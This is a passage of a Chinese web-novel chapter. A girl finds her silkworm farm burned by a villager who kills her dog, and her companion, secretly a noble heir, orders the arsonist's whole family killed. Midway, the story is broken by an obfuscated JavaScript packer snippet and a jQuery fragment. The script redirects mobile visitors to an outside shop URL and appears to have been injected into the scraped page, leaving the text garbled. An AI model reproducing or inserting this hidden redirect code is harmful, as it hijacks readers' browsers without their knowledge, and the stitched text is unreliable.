饭熟时天已暮色，依旧不见楚珩归来，青棠有些着急，进屋拿出短刀，带着旺来出后门上山寻找。 晚间进山，是很危险的事。 山上是一片竹林，浓密的枝叶遮住残阳，林间愈发黑暗，风穿过林梢，发出低沉的呜咽，不知什么动物从不远处跑过，弄出不小的动静。 青棠害怕，紧紧跟着旺来，时不时地就唤两声：“平江……平江……” 呼唤声穿过林子，隐隐落入楚珩耳中，他没有立即回应，而是对跟前叫周林的长随吩咐道：“在三界镇留人，截住萧正。” “是。”周林领命退下。 楚珩也转身循声下山，没走几步见气喘吁吁的青棠。 “总算找到你了，怎么到这来了？”青棠长舒一口气，握紧短刀的手微微放松。 “跑丢了一只鸡，我出来找。”楚珩随便扯个谎。 旺来却不信，瞥他一眼，朝着周林隐退的方向叫了几声。 青棠擦掉额角的汗，焦急道：“鸡重要还是人重要？晚上山里有狼要吃人的，快回家。” 楚珩点头，摸摸旺来的头。 旺来甩开他的手，冲他呲牙。 前几日楚珩得知有眼生的收茧客，隐约觉着是来找他的人，于是外出留下记号，果然周林寻迹找来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587427|205341||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周林能找到这里来并非偶然。 楚珩扮作庆王引开刺客后，恐走漏风声，不能明着找人，暗中将出事地点周边的村镇搜查个遍，却不见任何踪迹。 说来也巧，他到黑市上买消息时，看到有人卖世子的玉佩，这才顺藤摸瓜查到了三界镇，他们不便大肆搜查，只能化作收茧客继续打探消息，寻找世子。 玉佩边缘余留淡淡黑色，是灼烧过的痕迹。 玉佩的去向搁在楚珩心中许久，现在正好向青棠问个明白。 “此前让你烧的旧衣，烧了吗？” 青棠只顾看路，漫不经心地回答：“烧了呀，那日桃花嫂来送鱼，我忙着打水养鱼，是她帮我看着烧的。” 楚珩又问：“桃花嫂的男人叫什么？” 青棠边走边说：“罗水生，是本家亲戚。” 楚珩“哦”了一声，大概猜到玉佩的来龙去脉，是陈桃花烧衣服时偷偷拿走了玉佩，因为据周林调查，卖玉佩的人就叫罗水生。 是他误会青棠了。 青棠未听见后话，问了句：“怎么了？” “没什么。”楚珩心里有些愧疚。 青棠担心黑夜山里危险，也没多想，走到山脚时远远望见空中浓烟渐起，正是家的方向。 家里着火了？ 她心中一紧，后背发凉，难道是灶堂里的火烧到外面，家里还堆着稻草，万一着起来救都救不了。 千万不要是自己家啊！ 可怎么看怎么像是自己家，她抱着侥幸加快步子，跌跌撞撞地往前跑。 等转过弯，那点希望彻底破灭，蚕房已被大火吞噬，火舌顺着屋檐向卧房窜，一片橙红色在暝色中飞舞跳动。 火映在青棠眼中，化成最深的绝望，她脑中一片空白，只剩下一个念头：救火。 她恨不能生出双翼，立刻飞过去，慌乱间一个不慎，脚下被石头绊住，整个人扑倒在地，双手擦过路面划出道道血痕。 她顾不上刺痛，只想快些到家，撑起身想继续跑，脚踝使不上力再次跌倒，望着熊熊烈火，她咬紧牙关，一点点向前爬。 随着火光变亮，一个跛足人的身影出现在房屋附近，看身形，正是李福。 旺来已跑到家里，死死咬住李福的腿不松口，李福咒骂几声“死狗”，抄起身边的石头使劲砸到旺来头上。 一下，两下…… 旺来很快就没了动静，可依然没松嘴。 李福将旺来丢进火海，冷笑几声，听见村里人叫喊着赶往这边救火，他赶紧钻入暗处。 这一切，青棠看在眼里急在心中，恨自己无用，不能去救，凄厉地喊了一声：“旺来……” 嘶哑的嗓音，除了绝望还是绝望，拳头狠砸向地面，恨自己什么都做不了。 火在烧，屋在塌，旺来没了，蚕茧没了，桑树没了，院子没了…… 家，没了…… 没了，一切都没了…… 所有的牵挂，所有的希冀，全在这一刻化为乌有。 急火攻心，一口鲜血喷出，青棠昏死过去。 “青棠！”楚珩上前扶住她揽进怀中。 周林暗中跟随世子，见与世子同行的女子晕过去，才从暗处出来，拿出两粒丸药，“世子，清心丸。” 清心丸主治心宫内热，痰火壅盛，神志昏乱，正对青棠之症。 楚珩将药丸塞进青棠口中，擦掉她嘴角血迹，抬头指指李福逃走的方向，做了个杀的动作。 “是！” 周林领命，抬腿欲走，就听世子从喉咙中挤出暗沉的两个字。 “全家！”